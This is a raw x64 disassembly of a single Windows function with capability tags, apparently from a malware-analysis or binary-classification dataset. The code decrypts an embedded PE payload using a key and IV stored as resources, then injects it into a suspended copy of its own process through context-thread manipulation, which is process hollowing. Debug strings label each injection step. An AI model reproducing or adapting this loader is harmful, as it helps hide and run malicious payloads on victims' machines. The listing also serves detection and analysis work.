Function at 0x140004230
Capabilities:
Create process on windows
Create process suspended
Extract resource via kernel32 functions

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
mov qword [rsp + 0x20], r12
push r13
push r14
push r15
sub rsp, 0x550
mov rax, qword [0x140079140]
xor rax, rsp
mov qword [rsp + 0x540], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov rbx, rax
lea r8, [0x14006d878]
mov edx, 0xe
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_FindResourceW]
mov rdi, rax
test rax, rax
je 0x1400042c0
mov rdx, rax
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_LoadResource]
test rax, rax
je 0x1400042c0
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_LockResource]
mov r14, rax
test rax, rax
je 0x1400042c0
mov rdx, rdi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_SizeofResource]
mov r12d, eax
xor edi, edi
jmp 0x1400042c8
xor edi, edi
mov r12d, edi
mov r14d, edi
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov rbx, rax
lea r8, [0x14006d878]
mov edx, 0x58
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_FindResourceW]
mov rsi, rax
test rax, rax
je 0x140004320
mov rdx, rax
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_LoadResource]
test rax, rax
je 0x140004320
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_LockResource]
mov r15, rax
test rax, rax
je 0x140004320
mov rdx, rsi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_SizeofResource]
jmp 0x140004325
mov eax, edi
mov r15, rdi
mov edx, r12d
mov ebx, eax
mov rcx, r14
call fcn.1400040f0
mov r14, rax
mov edx, ebx
mov rcx, r15
call fcn.1400040f0
mov rsi, rax
lea rdx, str.Key:
lea rcx, [0x14007d6a0]
call fcn.140008a10
mov rdx, r14
mov rcx, rax
call fcn.140008a10
lea rdx, str._Iv:
mov rcx, rax
call fcn.140008a10
mov rdx, rsi
mov rcx, rax
call fcn.140008a10
mov rcx, rax
lea rdx, [0x14006d85c]
call fcn.140008a10
lea rdx, str.Key_size:
lea rcx, [0x14007d6a0]
call fcn.140008a10
mov rbx, 0xffffffffffffffff
mov rdx, rbx
inc rdx
cmp byte [r14 + rdx], 0
jne 0x1400043a6
mov rcx, rax
call fcn.140004e70
mov rcx, rax
lea rdx, str._Iv_size:
call fcn.140008a10
inc rbx
cmp byte [rsi + rbx], 0
jne 0x1400043c7
mov rdx, rbx
mov rcx, rax
call fcn.140004e70
mov rcx, rax
lea rdx, [0x14006d85c]
call fcn.140008a10
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov rbx, rax
lea r8, [0x14006d8b0]
mov edx, 0x84
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_FindResourceW]
mov r15, rax
test rax, rax
je 0x140004444
mov rdx, rax
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_LoadResource]
test rax, rax
je 0x140004444
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_LockResource]
mov r12, rax
test rax, rax
je 0x140004444
mov rdx, r15
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_SizeofResource]
mov ebx, eax
jmp 0x140004449
mov ebx, edi
mov r12, rdi
mov edx, ebx
call fcn.140005070
mov rcx, rax
lea rdx, [0x14006d85c]
call fcn.140008a10
lea rdx, [0x14006d8b8]
lea rcx, [0x14007d6a0]
call fcn.140008a10
mov rcx, rax
lea rdx, [0x14006d85c]
call fcn.140008a10
mov r8d, ebx
mov qword [rsp + 0x20], rsi
mov r9, r14
mov rdx, r12
lea rcx, [rsp + 0xa8]
call fcn.140003a80
nop
mov rcx, qword [rsp + 0xb8]
inc rcx
call fcn.140028b44
mov rsi, rax
mov qword [rsp + 0x68], rax
lea rdx, [rsp + 0xa8]
cmp qword [rsp + 0xc0], 0xf
cmova rdx, qword [rsp + 0xa8]
mov r8, qword [rsp + 0xb8]
mov rcx, rax
call fcn.140056930
mov rcx, qword [rsp + 0xb8]
mov byte [rcx + rsi], 0
lea rdx, [rsp + 0xa8]
cmp qword [rsp + 0xc0], 0xf
cmova rdx, qword [rsp + 0xa8]
mov r8, qword [rsp + 0xb8]
lea rcx, [0x14007d6a0]
call fcn.14000a580
lea rdx, str.Decrypted_Data_char:
lea rcx, [0x14007d6a0]
call fcn.140008a10
mov rdx, rsi
mov rcx, rax
call fcn.140008a10
mov rbx, rax
mov rcx, qword [rax]
movsxd rcx, dword [rcx + 4]
mov rcx, qword [rcx + rax + 0x40]
mov rcx, qword [rcx + 8]
mov qword [rsp + 0x60], rcx
mov rdx, qword [rcx]
call qword [rdx + 8]
nop
lea rcx, [rsp + 0x58]
call fcn.1400086f0
mov rcx, qword [rax]
mov r8, qword [rcx + 0x40]
mov dl, 0xa
mov rcx, rax
call r8
movzx r14d, al
mov rcx, qword [rsp + 0x60]
test rcx, rcx
je 0x140004599
mov rdx, qword [rcx]
call qword [rdx + 0x10]
test rax, rax
je 0x140004599
mov rcx, qword [rax]
mov r8, qword [rcx]
mov edx, 1
mov rcx, rax
call r8
movzx edx, r14b
mov rcx, rbx
call fcn.14000a170
mov rcx, rbx
call fcn.1400083d0
lea rdx, [0x14006d8b8]
lea rcx, [0x14007d6a0]
call fcn.140008a10
mov rcx, rax
lea rdx, [0x14006d85c]
call fcn.140008a10
lea r13, [rsi + 0x3c]
mov qword [rsp + 0x58], r13
movsxd r14, dword [r13]
add r14, rsi
mov qword [rsp + 0x70], r14
cmp dword [r14], 0x4550
jne 0x140004bf1
lea rdx, str.Start___n
lea rcx, [0x14007d6a0]
call fcn.140008a10
lea rdx, str.PE:
lea rcx, [0x14007d6a0]
call fcn.140008a10
mov rdx, rsi
mov rcx, rax
call fcn.140004c70
mov rcx, rax
lea rdx, [0x14006d85c]
call fcn.140008a10
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rsp + 0x90], xmm0
mov qword [rsp + 0xa0], rax
xorps xmm1, xmm1
movups xmmword [rsp + 0xd0], xmm1
movups xmmword [rsp + 0xe0], xmm1
movups xmmword [rsp + 0xf0], xmm1
movups xmmword [rsp + 0x100], xmm1
movups xmmword [rsp + 0x110], xmm1
movups xmmword [rsp + 0x120], xmm1
mov qword [rsp + 0x130], rax
mov r8d, 0x104
lea rdx, [rsp + 0x140]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea rax, [rsp + 0x90]
mov qword [rsp + 0x48], rax
lea rax, [rsp + 0xd0]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], rdi
mov qword [rsp + 0x30], rdi
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], edi
xor r9d, r9d
xor r8d, r8d
xor edx, edx
lea rcx, [rsp + 0x140]
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
lea rcx, [0x14007d6a0]
test eax, eax
je 0x140004be4
lea rdx, str.CTX___n
call fcn.140008a10
mov edx, 8
xor ecx, ecx
lea r9d, [rdx + 0x38]
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r15, rax
mov qword [rsp + 0x78], rax
mov dword [rax + 0x30], 0x10000b
lea rdx, str.CTX:
lea rcx, [0x14007d6a0]
call fcn.140008a10
mov rdx, r15
mov rcx, rax
call fcn.140004c70
mov rcx, rax
lea rdx, [0x14006d85c]
call fcn.140008a10
lea rdx, str.Thread:
lea rcx, [0x14007d6a0]
call fcn.140008a10
mov rdx, qword [rsp + 0x98]
mov rcx, rax
call fcn.140004c70
mov rcx, rax
lea rdx, [0x14006d85c]
call fcn.140008a10
lea rdx, str.LPCONTEXT_CTX:
lea rcx, [0x14007d6a0]
call fcn.140008a10
mov rdx, r15
mov rcx, rax
call fcn.140004c70
mov rcx, rax
lea rdx, [0x14006d85c]
call fcn.140008a10
lea rdx, str.Process:
lea rcx, [0x14007d6a0]
call fcn.140008a10
mov rdx, qword [rsp + 0x90]
mov rcx, rax
call fcn.140004c70
mov rcx, rax
lea rdx, [0x14006d85c]
call fcn.140008a10
nop
lea rdx, str.Get_context_thread___n
lea rcx, [0x14007d6a0]
call fcn.140008a10
mov rdx, r15
mov rcx, qword [rsp + 0x98]
call fcn.14000e610
mov ebx, eax
mov dword [rsp + 0x50], eax
jmp 0x140004822
lea rdx, str.NtGetContextThread_status:
lea rcx, [0x14007d6a0]
call fcn.140008a10
mov edx, ebx
mov rcx, rax
call fcn.1400052a0
mov rcx, rax
lea rdx, [0x14006d85c]
call fcn.140008a10
lea rdx, str.Allocate_Memory___n
lea rcx, [0x14007d6a0]
call fcn.140008a10
mov eax, dword [r14 + 0x50]
mov qword [rsp + 0xc8], rax
mov rax, qword [r14 + 0x30]
mov qword [rsp + 0x88], rax
mov dword [rsp + 0x28], 0x40
mov dword [rsp + 0x20], 0x3000
lea r9, [rsp + 0xc8]
xor r8d, r8d
lea rdx, [rsp + 0x88]
mov rcx, qword [rsp + 0x90]
call fcn.14000b1d0
mov ebx, eax
lea rdx, str._I_AllocMem_status:
lea rcx, [0x14007d6a0]
call fcn.140008a10
mov edx, ebx
mov rcx, rax
call fcn.1400052a0
mov rcx, rax
lea rdx, [0x14006d85c]
call fcn.140008a10
lea rdx, str._I_Memory_adr:
lea rcx, [0x14007d6a0]
call fcn.140008a10
mov rdx, qword [rsp + 0x88]
mov rcx, rax
call fcn.140004c70
mov rcx, rax
lea rdx, [0x14006d85c]
call fcn.140008a10
lea rdx, str._I_RegionMem_size:
lea rcx, [0x14007d6a0]
call fcn.140008a10
mov rdx, qword [rsp + 0xc8]
mov rcx, rax
call fcn.140004e70
mov rcx, rax
lea rdx, [0x14006d85c]
call fcn.140008a10
lea rdx, str.Write_Memory___n
lea rcx, [0x14007d6a0]
call fcn.140008a10
mov r9d, dword [r14 + 0x54]
mov qword [rsp + 0x20], rdi
mov r8, rsi
mov rdx, qword [rsp + 0x88]
mov rcx, qword [rsp + 0x90]
call fcn.14000ba10
mov ebx, eax
lea rdx, str._I_WriteMem_status:
lea rcx, [0x14007d6a0]
call fcn.140008a10
mov edx, ebx
mov rcx, rax
call fcn.1400052a0
mov rcx, rax
lea rdx, [0x14006d85c]
call fcn.140008a10
mov qword [rsp + 0x50], rdi
cmp di, word [r14 + 6]
jae 0x140004ab3
mov r12, rdi
movsxd rbx, dword [r13]
add rbx, r12
lea rdx, str.Write_Memory1___n
lea rcx, [0x14007d6a0]
call fcn.140008a10
mov r9d, dword [rbx + rsi + 0x118]
mov r8d, dword [rbx + rsi + 0x11c]
add r8, rsi
mov edx, dword [rbx + rsi + 0x114]
add rdx, qword [rsp + 0x88]
mov qword [rsp + 0x20], rdi
mov rcx, qword [rsp + 0x90]
call fcn.14000ba10
mov ebx, eax
lea rdx, str._I_WriteMem1_status:
lea rcx, [0x14007d6a0]
call fcn.140008a10
mov edx, ebx
mov rcx, rax
call fcn.1400052a0
mov rcx, rax
lea rdx, [0x14006d85c]
call fcn.140008a10
lea rdx, str.Write_Memory2___n
lea rcx, [0x14007d6a0]
call fcn.140008a10
mov rdx, qword [r15 + 0x88]
add rdx, 0x10
mov qword [rsp + 0x20], rdi
mov r9d, 8
lea r8, [r14 + 0x30]
mov rcx, qword [rsp + 0x90]
call fcn.14000ba10
mov ebx, eax
lea rdx, str._I_WriteMem2_status:
lea rcx, [0x14007d6a0]
call fcn.140008a10
mov edx, ebx
mov rcx, rax
call fcn.1400052a0
mov rcx, rax
lea rdx, [0x14006d85c]
call fcn.140008a10
mov rcx, qword [rsp + 0x50]
inc rcx
mov qword [rsp + 0x50], rcx
add r12, 0x28
movzx eax, word [r14 + 6]
cmp rcx, rax
jb 0x1400049b0
lea rdx, str.NTHEADER_CTX___n
lea rcx, [0x14007d6a0]
call fcn.140008a10
mov eax, dword [r14 + 0x28]
add rax, qword [rsp + 0x88]
mov qword [r15 + 0x80], rax
lea rdx, str.SET_CONTEXT_THREAD___n
lea rcx, [0x14007d6a0]
call fcn.140008a10
mov rdx, r15
mov rcx, qword [rsp + 0x98]
call fcn.140010c10
mov ebx, eax
lea rdx, str._I_SetConTh_status:
lea rcx, [0x14007d6a0]
call fcn.140008a10
mov edx, ebx
mov rcx, rax
call fcn.1400052a0
mov rcx, rax
lea rdx, [0x14006d85c]
call fcn.140008a10
lea rdx, str.RESUME_THREAD___n
lea rcx, [0x14007d6a0]
call fcn.140008a10
xor edx, edx
mov rcx, qword [rsp + 0x98]
call fcn.14000c010
mov ebx, eax
lea rdx, str._I_ResumeTh_status:
lea rcx, [0x14007d6a0]
call fcn.140008a10
mov edx, ebx
mov rcx, rax
call fcn.1400052a0
mov rcx, rax
lea rdx, [0x14006d85c]
call fcn.140008a10
lea rdx, str.Wait_thread__n
lea rcx, [0x14007d6a0]
call fcn.140008a10
xor r8d, r8d
xor edx, edx
mov rcx, qword [rsp + 0x90]
call fcn.14000acd0
nop
mov rdx, qword [rsp + 0xc0]
cmp rdx, 0xf
jbe 0x140004c30
inc rdx
mov rcx, qword [rsp + 0xa8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140004c2b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140004c64
jmp 0x140004c2b
lea rdx, str.ERROR_in_CreateProcessA__n
call fcn.140008a10
nop
mov rdx, qword [rsp + 0xc0]
cmp rdx, 0xf
jbe 0x140004c30
inc rdx
mov rcx, qword [rsp + 0xa8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140004c2b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140004c6a
call fcn.140028af0
xor eax, eax
mov rcx, qword [rsp + 0x540]
xor rcx, rsp
call fcn.140028ad0
lea r11, [rsp + 0x550]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x30]
mov r12, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop r13
ret
call fcn.14003cf5c
int3
call fcn.14003cf5c
int3